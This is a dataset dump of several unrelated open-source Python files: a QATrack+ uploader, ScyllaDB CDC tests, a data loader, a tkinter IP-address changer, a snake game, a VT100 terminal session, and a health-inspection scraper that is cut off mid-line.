path.stem\n\n\nclass QATrackGenericTextFileUploader(BaseQATrackGenericUploader, QATrackFetchAndPostTextFile, BasePump):\n\n DISPLAY_NAME = \"QATrack+ File Upload: Generic Text File\"\n HELP_URL = \"https://qcpump.qatrackplus.com/en/stable/pumps/qatrack_file_upload.html\"\n\n CONFIG = [\n QATrackFetchAndPostTextFile.QATRACK_API_CONFIG,\n BaseQATrackGenericUploader.TEST_LIST_CONFIG,\n BaseQATrackGenericUploader.FILE_TYPE_CONFIGS,\n BaseQATrackGenericUploader.DIRECTORY_CONFIG,\n ]\n\n\nclass QATrackGenericBinaryFileUploader(BaseQATrackGenericUploader, QATrackFetchAndPostBinaryFile, BasePump):\n\n DISPLAY_NAME = \"QATrack+ File Upload: Generic Binary File\"\n HELP_URL = \"https://qcpump.qatrackplus.com/en/stable/pumps/qatrack_file_upload.html\"\n\n CONFIG = [\n QATrackFetchAndPostTextFile.QATRACK_API_CONFIG,\n BaseQATrackGenericUploader.TEST_LIST_CONFIG,\n BaseQATrackGenericUploader.FILE_TYPE_CONFIGS,\n BaseQATrackGenericUploader.DIRECTORY_CONFIG,\n ]\n","repo_name":"qatrackplus/qcpump","sub_path":"qcpump/contrib/pumps/qatrack_file_upload/qatrack_file_upload.py","file_name":"qatrack_file_upload.py","file_ext":"py","file_size_in_byte":8467,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"29"} +{"seq_id":"74812598157","text":"import os\nimport shutil\n\ninp_dir_name = '../input/lfw.out'\nout_dir_name = '../output/lfw.list.out'\n\ncsv = open('../input/labels.csv', 'w')\ncsv.write('name;tags\\n')\n\nos.makedirs(out_dir_name)\n\ndirectories = os.listdir(inp_dir_name)\n\nfileCounter = 0\n\nlabel_range = 128\n\ndef buildLabelText(code):\n bin = f'{int(code):0128b}'\n reverse_bin = bin[::-1]\n text = \"\"\n \n for i in range(128):\n if reverse_bin[i] == \"1\":\n text = text + str(i) + \" \"\n \n return text\n\nfor d in directories:\n if d.startswith('.'):\n continue\n\n img_dir_name = inp_dir_name + '/' + d\n files = os.listdir(img_dir_name)\n for f in files:\n file_name = 'i' + str(fileCounter)\n shutil.copyfile(img_dir_name + '/'+ f, out_dir_name + '/' + file_name + '.png')\n\n # file csv\n print(d)\n csv.write(file_name + ';' + buildLabelText(d) + '\\n')\n\n fileCounter = fileCounter + 1\n\ncsv.close()\n","repo_name":"ivenk/ma_dl","sub_path":"prepare_csv.py","file_name":"prepare_csv.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"28878051871","text":"from test.pylib.rest_client import inject_error_one_shot\nfrom test.pylib.manager_client import ManagerClient\nfrom test.pylib.util import wait_for, wait_for_cql_and_get_hosts\n\nfrom cassandra.cluster import ConsistencyLevel # type: ignore # pylint: disable=no-name-in-module\nfrom cassandra.query import SimpleStatement # type: ignore # pylint: disable=no-name-in-module\n\nimport pytest\nimport logging\nimport time\nfrom typing import Optional\n\n\nlogger = logging.getLogger(__name__)\n\n\n@pytest.mark.asyncio\nasync def test_current_cdc_generation_is_not_removed(manager: ManagerClient):\n \"\"\"Test that the current CDC generation is not removed from CDC_GENERATIONS_V3 by the CDC generation\n publisher regardless of its timestamp.\"\"\"\n # We enable the injection to ensure that a too-late timestamp does not prevent removing the CDC generation.\n logger.info(\"Bootstrapping first node\")\n server = await manager.server_add(\n cmdline=['--logger-log-level', 'storage_service=trace'],\n config={'error_injections_at_startup': ['clean_obsolete_cdc_generations_ignore_ts']}\n )\n\n log_file = await manager.server_open_log(server.server_id)\n\n # Wait until the CDC geneneration publisher publishes the first generation and tries to remove it.\n await log_file.wait_for(\"CDC generation publisher fiber has nothing to do. Sleeping.\")\n\n cql = manager.get_cql()\n await wait_for_cql_and_get_hosts(cql, [server], time.time() + 60)\n query_gen_ids = SimpleStatement(\n \"SELECT id FROM system.cdc_generations_v3 WHERE key = 'cdc_generations'\",\n consistency_level = ConsistencyLevel.ONE)\n\n # The first and only generation should not be removed.\n gen_ids = {r.id for r in await cql.run_async(query_gen_ids)}\n logger.info(f\"Generations after clearing attempt: {gen_ids}\")\n assert len(gen_ids) == 1\n\n\n@pytest.mark.asyncio\nasync def test_dependency_on_timestamps(manager: ManagerClient):\n \"\"\"Test that CDC generations are not removed from CDC_GENERATIONS_V3 when the difference between their timestamp\n and the topology coordinator's clock is too small. Then, test that the CDC generation publisher removes\n the clean-up candidate (together with older generations) if its timestamp is old enough.\"\"\"\n logger.info(\"Bootstrapping first node\")\n servers = [await manager.server_add(cmdline=['--logger-log-level', 'storage_service=trace'])]\n\n log_file1 = await manager.server_open_log(servers[0].server_id)\n mark: Optional[int] = None\n\n query_gen_ids = SimpleStatement(\n \"SELECT id FROM system.cdc_generations_v3 WHERE key = 'cdc_generations'\",\n consistency_level = ConsistencyLevel.ONE)\n\n async def tried_to_remove_new_gen() -> Optional[tuple[int, set[str]]]:\n await log_file1.wait_for(\"CDC generation publisher fiber has nothing to do. Sleeping.\", mark)\n new_mark = await log_file1.mark()\n\n cql = manager.get_cql()\n await wait_for_cql_and_get_hosts(cql, servers, time.time() + 60)\n new_gen_ids = {r.id for r in await cql.run_async(query_gen_ids)}\n\n return (new_mark, new_gen_ids)\n\n # The first generation should not be removed. It has become the clean-up candidate and its timestamp is too close\n # to the topology coordinator's clock.\n mark, gen_ids = await wait_for(tried_to_remove_new_gen, time.time() + 60)\n logger.info(f\"Generations after first clearing attempt: {gen_ids}\")\n assert len(gen_ids) == 1\n first_gen_id = next(iter(gen_ids))\n\n logger.info(\"Bootstrapping second node\")\n servers += [await manager.server_add()]\n\n # Both generations should not be removed. The first generation is still the clean-up candidate with a\n # too-late timestamp.\n mark, gen_ids = await wait_for(tried_to_remove_new_gen, time.time() + 60)\n logger.info(f\"Generations after second clearing attempt: {gen_ids}\")\n assert len(gen_ids) == 2 and first_gen_id in gen_ids\n\n # We enable this injection to stop timestamps from preventing the clearing of CDC generations.\n await inject_error_one_shot(manager.api, servers[0].ip_addr, \"clean_obsolete_cdc_generations_ignore_ts\")\n\n logger.info(\"Bootstrapping third node\")\n servers += [await manager.server_add()]\n\n # The first generation should be removed thanks to the above injection.\n mark, gen_ids = await wait_for(tried_to_remove_new_gen, time.time() + 60)\n logger.info(f\"Generations after third clearing attempt: {gen_ids}\")\n assert len(gen_ids) == 2 and first_gen_id not in gen_ids\n","repo_name":"scylladb/scylladb","sub_path":"test/topology_experimental_raft/test_cdc_generation_clearing.py","file_name":"test_cdc_generation_clearing.py","file_ext":"py","file_size_in_byte":4501,"program_lang":"python","lang":"en","doc_type":"code","stars":11533,"dataset":"github-code","pt":"29"} +{"seq_id":"1126357432","text":"import random\nimport string\nimport numpy as np\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\n\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' # or any {'0', '1', '2'}\nimport tensorflow as tf\ntf.compat.v1.logging.set_verbosity(tf.compat.v1.logging.ERROR)\n\nclass DataLoader:\n\n\tdef __init__(self, simulator, scenario = 0, verbose=False):\n\n\t\tself.verbose = verbose\n\t\tself.scenario = scenario\n\n\t\tself.x_train = []\n\t\tself.x_test = []\n\t\tself.y_train = []\n\t\tself.y_test = []\n\t\tself.y_reg_train = []\n\t\tself.y_reg_test = []\n\n\t\tself.sim = simulator\n\t\tself.y_min = []\n\t\tself.y_max = []\n\t\t\n\tdef normalize(self, x):\n\t\tx_min = np.min(x)\n\t\tx_max = np.max(x)\n\t\treturn (x - x_min)/(x_max - x_min)\n\t\t\n\tdef normalize_data(self, y):\n\t\tself.y_min = np.min(y, axis=0)\n\t\tself.y_max = np.max(y, axis=0)\n\t\treturn (y - self.y_min)/(self.y_max - self.y_min)\n\t\t\n\tdef normalize_data_(self, y):\n\t\ty_min = self.y_min\n\t\ty_max = self.y_max\n\t\treturn (y - y_min)/(y_max - y_min)\n\t\t\n\tdef load_data(self):\n\t\t'''create (simulate) a synthetic \"time series\" data vector (y) for each of the input (x) such that y=Gx and G is linear\n\t\tself.sim represents some abstract function (i.e. fluid flow simulator)\n\t\t'''\n\t\tx = np.load(\"data\\M.npy\")\n\t\t\n\t\t#create label, for every 500 models for 5 scenarios\n\t\ty = np.zeros([x.shape[0], ], dtype=np.int32)\n\t\tfor i in range(5):\n\t\t\ty[i*500:i*500+500] = i\n\t\t\n\t\t#filter by scenario\n\t\tx = x[y == self.scenario]\n\t\tx = self.normalize(x)\n\t\t\n\t\t#reshape the models\n\t\tx_r = np.zeros([x.shape[0], 100, 100, 1])\n\t\tfor i in range(x.shape[0]):\n\t\t\tx_r[i,:,:,:] = np.reshape(x[i,:], [1, 100, 100, 1])\n\t\tx = x_r\n\t\t\n\t\t#run forward simulation\n\t\ty_reg = self.simulator(x)\n\t\t\n\t\t#normalize production responses\n\t\ty_reg = self.normalize_data(y_reg)\n\t\t\n\t\t#randomly sample\n\t\tnp.random.seed(999)\n\t\tindexes = np.random.permutation(np.arange(0, x.shape[0], dtype=np.int32))\n\t\tpartition = int(x.shape[0]*0.8)\n\t\ttrain_idx = indexes[0:partition]\n\t\ttest_idx = indexes[partition:]\n\n\t\tself.x_train = x[train_idx]\n\t\tself.x_test = x[test_idx]\n\n\t\tself.y_reg_train = np.squeeze(y_reg[train_idx])\n\t\tself.y_reg_test = np.squeeze(y_reg[test_idx])\n\n\t\tif self.verbose: \n\t\t\tprint(\"Loaded training data x {:s} and y {:s}\".format(str(self.x_train.shape), str(self.y_reg_train.shape)))\n\t\t\tprint(\"Loaded testing data x {:s} and y {:s}\".format(str(self.x_test.shape), str(self.y_reg_test.shape)))\n\t\t \n\t\treturn self.x_train, self.x_test, self.y_reg_train, self.y_reg_test\n\n\tdef simulator(self, ms):\n\t\t'''simulate observations for a given set of models\n\t\t'''\n\t\td_dim = self.sim.shape[-1]\n\t\tds = np.zeros([ms.shape[0], d_dim])\n\t\t\n\t\tms = np.where(ms<0.5, 0, 1)\n\n\t\tfor i in range(ms.shape[0]):\n\t\t\tprint(\"Running simulation \", i)\n\t\t\tds[i:i+1, :] = np.reshape((ms[i:i+1, :, :, 0]), [1, ms.shape[1]*ms.shape[2]])@self.sim \n\n\t\treturn np.expand_dims(ds, axis=-1)\n \n ","repo_name":"rsyamil/latent-space-data-assimilation-lsda","sub_path":"2d-fluvial/dataloader.py","file_name":"dataloader.py","file_ext":"py","file_size_in_byte":2871,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"29"} +{"seq_id":"42645434053","text":"from tkinter import *\nfrom tkinter.ttk import *\nimport subprocess\n\n\nclass Interface:\n def __init__(self):\n window = Tk()\n\n window.title(\"Change IP address\")\n main_frame = Frame(window)\n main_frame.pack()\n\n # Label 'IP Address' and TextEdit 'IP Address content'\n frame_ip = Frame(main_frame)\n self.lb_ip_addr = Label(frame_ip, text='IP Address:', font=('Helvetica', 16))\n self.ted_ip_addr = Entry(frame_ip, width=50, font=('Helvetica', 12), justify='center')\n self.lb_ip_addr.pack()\n self.ted_ip_addr.pack()\n frame_ip.pack()\n\n # Label 'Subnet Mask' and TextEdit = 'Subnet Mask content'\n frame_subnet_mask = Frame(main_frame)\n self.lb_subnet_mask = Label(frame_subnet_mask, text='Subnet Mask:', font=('Helvetica', 16))\n self.ted_subnet_mask = Entry(frame_subnet_mask, width=50, font=('Helvetica', 12), justify='center')\n self.lb_subnet_mask.pack()\n self.ted_subnet_mask.pack()\n frame_subnet_mask.pack()\n\n # Label 'Default Gateway' and TextEdit 'Default Gateway content'\n frame_default_gateway = Frame(main_frame)\n self.lb_default_gateway = Label(frame_default_gateway, text='Default Gateway:', font=('Helvetica', 16))\n self.ted_default_gateway = Entry(frame_default_gateway, width=50, font=('Helvetica', 12), justify='center')\n self.lb_default_gateway.pack()\n self.ted_default_gateway.pack()\n frame_default_gateway.pack()\n\n # Radio Buttons 'Static' and 'DHCP'\n frame_rds = Frame(main_frame)\n self.rd_variable = StringVar()\n self.rd_variable.set('DHCP')\n self.rd_static = Radiobutton(frame_rds, text='Static', value='Static', variable=self.rd_variable,\n command=self.change_ted_state)\n self.rd_dhcp = Radiobutton(frame_rds, text='DHCP', value='DHCP', variable=self.rd_variable,\n command=self.change_ted_state)\n self.rd_static.pack(side='left')\n self.rd_dhcp.pack(side='left')\n frame_rds.pack()\n\n # Button='Change IP'\n frame_button = Frame(main_frame)\n self.button = Button(frame_button, text='Change IP Address', command=self.change_ip)\n frame_button.pack()\n self.button.pack()\n\n if self.rd_variable.get() == 'DHCP':\n self.ted_ip_addr.config(state='disabled')\n self.ted_subnet_mask.config(state='disabled')\n self.ted_default_gateway.config(state='disabled')\n\n window.mainloop()\n\n def change_ted_state(self):\n if self.rd_variable.get() == 'DHCP':\n self.ted_ip_addr.delete(0, END)\n self.ted_ip_addr.config(state='disabled')\n self.ted_subnet_mask.delete(0, END)\n self.ted_subnet_mask.config(state='disabled')\n self.ted_default_gateway.delete(0, END)\n self.ted_default_gateway.config(state='disabled')\n else:\n self.ted_ip_addr.config(state='enabled')\n self.ted_ip_addr.insert(0, '192.169.160.1')\n self.ted_subnet_mask.config(state='enabled')\n self.ted_subnet_mask.insert(0, '255.255.255.224')\n self.ted_default_gateway.config(state='enabled')\n self.ted_default_gateway.insert(0, '192.168.160.1')\n\n def get_static_variables(self):\n ip_addr = self.ted_ip_addr.get()\n subnet_mask = self.ted_subnet_mask.get()\n default_gateway = self.ted_default_gateway.get()\n\n with open(\"static_ip.bat\", \"r\") as bat_file:\n data = bat_file.readlines()\n\n data[0] = f'set ip_addr={ip_addr}\\n'\n data[1] = f'set subnet_mask={subnet_mask}\\n'\n data[2] = f'set default_gateway={default_gateway}\\n'\n\n with open(\"static_ip.bat\", \"w\") as bat_file:\n bat_file.writelines(data)\n\n def run_bat(self):\n if self.rd_variable.get() == 'Static':\n self.get_static_variables()\n subprocess.call([r'static_ip.bat'], shell=True)\n else:\n subprocess.call([r'dhcp_ip.bat'], shell=True)\n\n def change_ip(self):\n self.run_bat()\n","repo_name":"felipeadsm/change-ip","sub_path":"inteface.py","file_name":"inteface.py","file_ext":"py","file_size_in_byte":4165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"7558051267","text":"import pymax7219lib\nimport curses\nimport time\nimport random\n\ndef getMilliseconds():\n return int(round(time.time() * 1000))\n\ndef init(screen):\n global snake, direction, oldDirection, inGameLoop, speed, msInit\n direction = oldDirection = 1\n snake = [[16,16]]\n speed = 50 # in milliseconds\n msInit = getMilliseconds()\n inGameLoop = True\n pymax7219lib.initializeLibrary()\n screen.nodelay(1)\n\ndef putFood():\n global xFood, yFood\n xFood = random.randint(0,31)\n yFood = random.randint(0,31)\n pymax7219lib.setPixel(xFood, yFood, 1)\n \ndef processInput(screen):\n global direction, oldDirection, inGameLoop\n key = screen.getch()\n if key != -1:\n if key == 27:\n inGameLoop = False\n elif key == 261 and oldDirection != 2: #right\n direction = 1\n elif key == 260 and oldDirection != 1: #left\n direction = 2\n elif key == 259 and oldDirection != 4: #up\n direction = 3\n elif key == 258 and oldDirection != 3: #down\n direction = 4\n oldDirection = direction\n \ndef sync():\n global speed, msInit\n if getMilliseconds() - msInit > speed:\n msInit = getMilliseconds()\n return True\n else:\n return False\n\ndef gameOver():\n global snake\n x = snake[0][0] - 2\n y = snake[0][1] - 2\n for i in range(5):\n for j in range(5):\n pymax7219lib.setPixel(x + i, y + j, 1)\n time.sleep(1)\n\ndef updateState():\n global snake, direction, inGameLoop\n if direction == 1:\n tile = [abs((snake[0][0] + 1) % 32), abs(snake[0][1] % 32)]\n elif direction == 2:\n tile = [abs((snake[0][0] - 1) % 32), abs(snake[0][1] % 32)]\n elif direction == 3:\n tile = [abs(snake[0][0] % 32), abs((snake[0][1] - 1) % 32)]\n elif direction == 4:\n tile = [abs(snake[0][0] % 32), abs((snake[0][1] + 1) % 32)]\n if pymax7219lib.getPixel(tile[0], tile[1]) == 0:\n snake.insert(0, tile)\n snake.pop()\n else:\n if tile[0] == xFood and tile[1] == yFood:\n snake.insert(0, tile)\n putFood()\n else:\n gameOver()\n inGameLoop = False\n\ndef drawScreen():\n global snake\n pymax7219lib.clearScreen()\n pymax7219lib.setPixel(xFood, yFood, 1)\n for tile in snake:\n pymax7219lib.setPixel(tile[0], tile[1], 1)\n\ndef quit():\n pymax7219lib.quitLibrary()\n\ndef main(screen):\n init(screen)\n putFood()\n while inGameLoop: \n processInput(screen)\n if sync():\n updateState()\n drawScreen()\n quit()\n\ncurses.wrapper(main)","repo_name":"rocknRol/max7219mat","sub_path":"snake game/snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":2606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"73945550232","text":"import traceback\n\nimport adsk.core\nimport adsk.fusion\nimport adsk.cam\n\nfrom .ShowPalletEventHandler import ShowPaletteCommandExecutedHandler\n\n\n# CommandExecuteHandler for Tutorial Button on Right QAT bar. AddInSample.py has been used as reference\nclass TutorialButtonCommandExecuteHandler(adsk.core.CommandEventHandler):\n def __init__(self):\n self.app = adsk.core.Application.get()\n self.ui = self.app.userInterface\n super().__init__()\n\n def notify(self, args):\n try:\n command = args.firingEvent.sender\n self.ui.messageBox('command: {} executed successfully').format(command.parentCommandDefinition.id)\n except:\n if self.ui:\n self.ui.messageBox('command executed failed: {}').format(traceback.format_exc())\n\n\n# CommandCreatedHandler for Tutorial Button on Right QAT bar. AddInSample.py has been used as reference\nclass CommandCreatedEventHandlerQATRight(adsk.core.CommandCreatedEventHandler):\n def __init__(self, handlers):\n self.handlers = handlers\n self.app = adsk.core.Application.get()\n self.ui = self.app.userInterface\n super().__init__()\n\n def notify(self, args):\n try:\n command = args.command\n # onExecute = CommandExecuteHandler()\n onExecute = ShowPaletteCommandExecutedHandler(self.handlers)\n command.execute.add(onExecute)\n # keep the handler referenced beyond this function\n self.handlers.append(onExecute)\n # _ui.messageBox('Right QAT command created successfully')\n except:\n self.ui.messageBox(' Right QAT command created failed: {}').format(traceback.format_exc())\n","repo_name":"deichcode/Fusion_101","sub_path":"TutorialButtonHandler.py","file_name":"TutorialButtonHandler.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"42813831294","text":"#!/usr/bin/env python\n# Created by Bruce yuan on 18-2-8.\n\n\n# 这题大坑,input是index,而不是逻辑位置\nclass Solution:\n def getRow(self, rowIndex):\n \"\"\"\n :type rowIndex: int\n :rtype: List[int]\n \"\"\"\n if rowIndex == 0:\n return [1]\n ans = [0] * (rowIndex + 1)\n ans[0] = 1\n for i in range(1, rowIndex + 1):\n for j in range(i, 0, -1):\n ans[j] = ans[j] + ans[j -1]\n return ans\n\n\nif __name__ == '__main__':\n s = Solution()\n print(s.getRow(5))\n","repo_name":"bbruceyuan/algorithms-and-oj","sub_path":"leetcode-algorithms/119. Pascal's Triangle II/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"5"} +{"seq_id":"29170745791","text":"\"\"\"\noec.vt100\n~~~~~~~~~\n\"\"\"\n\nimport os\nimport logging\nfrom ptyprocess import PtyProcess\nimport pyte\n\nfrom .session import Session, SessionDisconnectedError\nfrom .display import encode_character\nfrom .keyboard import Key, get_character_for_key, MODIFIER_KEYS\n\nVT100_KEY_MAP = {\n Key.NOT: b'^',\n Key.CENT: b'[',\n Key.BROKEN_BAR: b']',\n\n Key.ATTN: b'\\x1b', # Escape\n\n Key.NEWLINE: b'\\r',\n Key.ENTER: b'\\r',\n\n Key.BACKSPACE: b'\\b',\n Key.TAB: b'\\t',\n\n Key.UP: b'\\x1b[A',\n Key.DOWN: b'\\x1b[B',\n Key.LEFT: b'\\x1b[D',\n Key.RIGHT: b'\\x1b[C'\n}\n\nVT100_KEY_MAP_ALT = {\n Key.SPACE: b'\\x00',\n Key.LOWER_A: b'\\x01',\n Key.LOWER_B: b'\\x02',\n Key.LOWER_C: b'\\x03',\n Key.LOWER_D: b'\\x04',\n Key.LOWER_E: b'\\x05',\n Key.LOWER_F: b'\\x06',\n Key.LOWER_G: b'\\x07',\n Key.LOWER_H: b'\\x08',\n Key.LOWER_I: b'\\x09',\n Key.LOWER_J: b'\\x0a',\n Key.LOWER_K: b'\\x0b',\n Key.LOWER_L: b'\\x0c',\n Key.LOWER_M: b'\\x0d',\n Key.LOWER_N: b'\\x0e',\n Key.LOWER_O: b'\\x0f',\n Key.LOWER_P: b'\\x10',\n Key.LOWER_Q: b'\\x11',\n Key.LOWER_R: b'\\x12',\n Key.LOWER_S: b'\\x13',\n Key.LOWER_T: b'\\x14',\n Key.LOWER_U: b'\\x15',\n Key.LOWER_V: b'\\x16',\n Key.LOWER_W: b'\\x17',\n Key.LOWER_X: b'\\x18',\n Key.LOWER_Y: b'\\x19',\n Key.LOWER_Z: b'\\x1a',\n Key.CENT: b'\\x1b', # Ctrl + [\n Key.BACKSLASH: b'\\x1c',\n Key.EQUAL: b'\\x1d', # Ctrl + ]\n Key.LESS: b'\\x1e', # Ctrl + ~\n Key.SLASH: b'\\x1f', # Ctrl + ?\n Key.NEWLINE: b'\\n'\n}\n\nclass VT100Session(Session):\n \"\"\"VT100 session.\"\"\"\n\n def __init__(self, terminal, host_command):\n super().__init__(terminal)\n\n self.logger = logging.getLogger(__name__)\n\n self.host_command = host_command\n self.host_process = None\n\n # Initialize the VT100 screen.\n (rows, columns) = self.terminal.display.dimensions\n\n self.vt100_screen = pyte.Screen(columns, rows)\n\n self.vt100_screen.write_process_input = lambda data: self.host_process.write(data.encode())\n\n # Unfortunately multiple VT100 bells will be replaced with a single 3270 terminal\n # alarm - also because the alarm is only sounded on terminal POLL the alarm sound\n # may appear out of sync with the terminal.\n #\n # A better approach may be to perform a flush when the bell is encountered but\n # that does not appear possible with the standard pyte ByteStream.\n self.vt100_screen.bell = lambda: self.terminal.sound_alarm()\n\n self.vt100_stream = pyte.ByteStream(self.vt100_screen)\n\n self.is_first_render = True\n\n def start(self):\n self._start_host_process()\n\n def terminate(self):\n if self.host_process:\n self._terminate_host_process()\n\n def fileno(self):\n return self.host_process.fileno()\n\n def handle_host(self):\n data = None\n\n try:\n data = self.host_process.read()\n except EOFError:\n self.host_process = None\n\n raise SessionDisconnectedError\n\n self.vt100_stream.feed(data)\n\n return True\n\n def handle_key(self, key, keyboard_modifiers, scan_code):\n bytes_ = self._map_key(key, keyboard_modifiers)\n\n if bytes_ is None:\n return\n\n self.host_process.write(bytes_)\n\n def render(self):\n if self.is_first_render:\n self.terminal.display.status_line.write_string(45, 'VT100')\n\n self.is_first_render = False\n\n self._apply()\n self._flush()\n\n def _map_key(self, key, keyboard_modifiers):\n if keyboard_modifiers.is_alt():\n # Ignore any modifiers... this would fall through and result in a warning\n # if they are not explicitly ignored.\n if key in MODIFIER_KEYS:\n return None\n\n bytes_ = VT100_KEY_MAP_ALT.get(key)\n\n if bytes_ is not None:\n return bytes_\n\n self.logger.warning(f'No key mapping found for ALT + {key}')\n else:\n bytes_ = VT100_KEY_MAP.get(key)\n\n if bytes_ is not None:\n return bytes_\n\n character = get_character_for_key(key)\n\n if character and character.isprintable():\n return character.encode()\n\n return None\n\n def _start_host_process(self):\n environment = os.environ.copy()\n\n environment['TERM'] = 'vt100'\n environment['LC_ALL'] = 'C'\n\n self.host_process = PtyProcess.spawn(self.host_command, env=environment,\n dimensions=self.terminal.display.dimensions)\n\n def _terminate_host_process(self):\n self.logger.debug('Terminating host process')\n\n if not self.host_process.terminate(force=True):\n self.logger.error('Unable to terminate host process')\n else:\n self.logger.debug('Host process terminated')\n\n self.host_process = None\n\n def _apply(self):\n has_eab = self.terminal.display.has_eab\n\n for row in self.vt100_screen.dirty:\n row_buffer = self.vt100_screen.buffer[row]\n\n for column in range(self.terminal.display.dimensions.columns):\n character = row_buffer[column]\n\n # TODO: Investigate multi-byte or zero-byte cases further.\n regen_byte = encode_character(character.data) if len(character.data) == 1 else 0x00\n eab_byte = 0x00 if has_eab else None\n\n self.terminal.display.buffered_write_byte(regen_byte, eab_byte, row=row, column=column)\n\n self.vt100_screen.dirty.clear()\n\n def _flush(self):\n self.terminal.display.flush()\n\n cursor = self.vt100_screen.cursor\n\n if cursor.y < self.terminal.display.dimensions.rows and cursor.x < self.terminal.display.dimensions.columns:\n self.terminal.display.move_cursor(row=cursor.y, column=cursor.x)\n else:\n self.logger.warn(f'Out of bounds cursor move to row={cursor.y}, column={cursor.x} ignored')\n","repo_name":"lowobservable/oec","sub_path":"oec/vt100.py","file_name":"vt100.py","file_ext":"py","file_size_in_byte":6001,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"5"} +{"seq_id":"72282146072","text":"# 백준 15829번\n\nword = \"abcdefghijklmnopqrstuvwxyz\"\n\na,b = input().split(\" \")\na = int(a)\n# a = 3\n# b = \"zzz\"\nans = 0\nfor i in range(a):\n ans += (word.index(b[i])+1)*(31**i)\n\nprint(ans)\n\n# print(type(a), type(b))\n\n","repo_name":"Hyunsoo-Ryan-Lee/Programmers","sub_path":"5-1.Hashig.py","file_name":"5-1.Hashig.py","file_ext":"py","file_size_in_byte":219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"8993190379","text":"import requests\nimport pickle\nimport logging\nimport logging.handlers\nimport sys,os,time\nfrom bs4 import BeautifulSoup\nimport sqlite3\nimport json\n\nhandler = logging.handlers.WatchedFileHandler(\n os.environ.get(\"LOGFILE\", \"../logs/food_IL_Tazewell.log\"))\nformatter = logging.Formatter(logging.BASIC_FORMAT)\nhandler.setFormatter(formatter)\nroot = logging.getLogger()\nroot.setLevel(os.environ.get(\"LOGLEVEL\", \"DEBUG\")) #10\n#~ root.setLevel(os.environ.get(\"LOGLEVEL\", \"INFO\")) #20\n#~ root.setLevel(os.environ.get(\"LOGLEVEL\", \"WARNING\")) #30\n#~ root.setLevel(os.environ.get(\"LOGLEVEL\", \"ERROR\")) #40\nroot.addHandler(handler)\n\n# Create or verify SQLite DB\nconn = sqlite3.connect('../testbots/db.il_tazewell')\nconn.execute('DROP TABLE IF EXISTS jsonfac')\nconn.execute('DROP TABLE IF EXISTS jsoninsp')\nconn.execute('CREATE TABLE IF NOT EXISTS jsonfac(facid text, json text)')\nconn.execute('CREATE UNIQUE INDEX IF NOT EXISTS jsonfac_index ON jsonfac(facid)')\nprint('DB Initialized')\n\n\nif __name__ == '__main__':\n\tfor permitID in range(1,2500):\n\t\tdata={}\n\t\tinspections={}\n\t\turl=('http://il.healthinspections.us/tazewell/estab.cfm?permitID=%s#')%(permitID)\n\t\tfor tries in range(4):\n\t\t\ttry:\n\t\t\t\tpage=requests.get(url)\n\t\t\t\tlogging.debug(('page got %s')%(url))\n\t\t\t\tif page.text.__contains__('The service is unavailable.'):\n\t\t\t\t\ttime.sleep(2)\n\t\t\t\t\tcontinue\n\t\t\t\tif page.status_code >= 500: \t#503 Service Unavailable\n\t\t\t\t\ttime.sleep(2)\n\t\t\t\t\tcontinue\n\t\t\t\tbreak\n\t\t\texcept (ConnectionError, ConnectionResetError):\n\t\t\t\tlogging.exception((\"Connection error reader was trying to get: %s and trying: %s\")%(url, tries))\n\t\t\t\ttime.sleep(3)\n\t\t\texcept Exception:\n\t\t\t\tlogging.exception((\"Unexpected error: %s reader was trying to get: %s\")%(sys.exc_info()[0], url))\n\t\ttry:\n\t\t\tsoup=BeautifulSoup(page.text,'html.parser')\n\t\t\ttable=soup.find('table').findAll('td')[1]\n\t\t\tinfo=table.findAll('div')\n\t\t\tdata['Name']=info[1].find('b').getText().strip()\n\t\t\ttext=info[1].find('i').getText().split('\\r')\n\t\t\ttry:\n\t\t\t\tdata['Address']=('%s %s')%(text[1].strip(),text[3].strip())\n\t\t\texcept Exception:\n\t\t\t\tlogging.info(('%s is empty')%(url))\n\t\t\t\tcontinue\n\t\t\tval=2\n\t\texcept Exception:\n\t\t\tlogging.exception(('Unexpected error: %s was trying to parse %s')%(sys.exc_info()[0],url))\n\t\t\tlogging.debug(('%s') % (page.text) )\n\t\ttry:\n\t\t\twhile val < info.__len__():\n\t\t\t\tdetails=info[val].findAll('div')\n\t\t\t\tinspec={}\n\t\t\t\tdate=details[1].getText().split('\\n')[1].split(':')[1].strip()\n\t\t\t\tinspec['InspURL']=('https://il.healthinspections.us%s')%(details[0].find('a').get('href').split()[1])\n\t\t\t\tinspec['InspDemerits']=details[1].getText().split('\\n')[7].strip()\n\t\t\t\tinspec['InspType']=details[1].getText().split('\\n')[10].split(':')[1].strip()\n\t\t\t\tvio=[]\n\t\t\t\tfor var in range(2, details.__len__() -1):\n\t\t\t\t\tvio.append(details[var].getText().strip())\n\t\t\t\tsummary = ''.join(vio)\n\t\t\t\tinspec['Summary']=summary\n\t\t\t\tinspec['Date']=date\n\t\t\t\tinspections[date]=inspec\n\t\t\t\tval=val+details.__len__()\n\t\t\t\tif info[val].getText() == 'View Last 3 Inspections for this Establishment':\n\t\t\t\t\tbreak\n\t\texcept Exception:\n\t\t\tlogging.exception(('Unexpected error: %s was trying to parse inspections at %s')%(sys.exc_info()[0],url))\n\t\tdata['Inspections']=inspections\n\t\tif data['Inspections']:\n\t\t\tfacid = json.dumps(data['Name'])\n\t\t\tdata.pop('Name')\n\t\t\treports = json.dumps(data)\n\t\t\tprint('Inspections found')\n\t\n\t\t\tcur = conn.cursor()\n\t\t\tcur.execute('select * from jsonfac where facid=:id', 